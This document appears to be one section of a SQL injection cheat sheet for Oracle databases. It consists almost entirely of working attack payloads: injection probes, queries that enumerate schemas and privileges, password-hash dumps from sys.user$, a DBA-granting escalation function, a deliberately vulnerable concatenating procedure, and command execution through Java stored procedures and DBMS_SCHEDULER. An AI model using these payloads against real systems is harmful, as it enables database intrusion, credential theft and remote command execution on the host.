Oracle

' AND 1=(SELECT 1 FROM dual)-- -       -- dual exists only in Oracle
' AND ROWNUM=1-- -
' AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1)-- -

-- The giveaway: a UNION that works elsewhere fails here
' UNION SELECT NULL-- -               -- ORA-00923: FROM keyword not found
' UNION SELECT NULL FROM dual-- -     -- works

-- Error format:
-- ORA-01756: quoted string not properly terminated
-- ORA-00933: SQL command not properly ended
-- ORA-01789: query block has incorrect number of result columns

-- Tables the current user can see
SELECT table_name FROM all_tables
SELECT table_name FROM user_tables       -- owned by current user only
SELECT owner,table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM')

-- Columns. NOTE: Oracle stores unquoted identifiers UPPERCASE,
-- so match on the uppercase name or nothing comes back.
SELECT column_name,data_type FROM all_tab_columns WHERE table_name='USERS'

-- Everything at once
SELECT LISTAGG(table_name||'.'||column_name,', ')
       WITHIN GROUP (ORDER BY table_name)
FROM all_tab_columns WHERE owner=USER

-- Users and privileges
SELECT username FROM all_users
SELECT * FROM user_role_privs
SELECT * FROM session_privs               -- what THIS session can do
SELECT granted_role FROM user_role_privs WHERE granted_role='DBA'

-- Password hashes (needs SYS access)
SELECT name,password FROM sys.user$
SELECT username,password FROM dba_users   -- 11g and earlier

-- Vulnerable procedure pattern: dynamic SQL built by concatenation
-- inside a DEFINER-rights procedure.
CREATE PROCEDURE get_user(p_name VARCHAR2) AUTHID DEFINER AS
  v_sql VARCHAR2(4000);
BEGIN
  v_sql := 'SELECT * FROM users WHERE name = ''' || p_name || '''';
  EXECUTE IMMEDIATE v_sql;
END;

-- Injecting a function call that runs with the procedure owner's rights:
-- p_name = x'' AND 1=(SELECT my_evil_function FROM dual)--

-- The classic escalation: a function that grants DBA, called from
-- a SYS-owned injectable procedure.
CREATE FUNCTION evil RETURN VARCHAR2 AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO attacker';
  COMMIT;
  RETURN 'x';
END;

-- AUTONOMOUS_TRANSACTION is required because DDL is not
-- permitted in the calling transaction context.

-- File read via UTL_FILE (needs a directory object and EXECUTE on UTL_FILE)
SELECT directory_name,directory_path FROM all_directories;

DECLARE
  f UTL_FILE.FILE_TYPE; s VARCHAR2(4000);
BEGIN
  f := UTL_FILE.FOPEN('MY_DIR','file.txt','R');
  UTL_FILE.GET_LINE(f,s);
END;

-- Java stored procedures — the main RCE route (needs JAVASYSPRIV)
CREATE OR REPLACE JAVA SOURCE NAMED "X" AS
  public class X {
    public static String run(String c) throws Exception {
      Runtime.getRuntime().exec(c); return "ok";
    }
  };
CREATE FUNCTION jrun(c IN VARCHAR2) RETURN VARCHAR2
  AS LANGUAGE JAVA NAME 'X.run(java.lang.String) return String';
SELECT jrun('/bin/sh -c id') FROM dual;

-- DBMS_SCHEDULER — execute without Java (needs CREATE JOB)
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name => 'x', job_type => 'EXECUTABLE',
    job_action => '/bin/sh', number_of_arguments => 2,
    enabled => FALSE);
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('x',1,'-c');
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('x',2,'id > /tmp/o');
  DBMS_SCHEDULER.ENABLE('x');
END;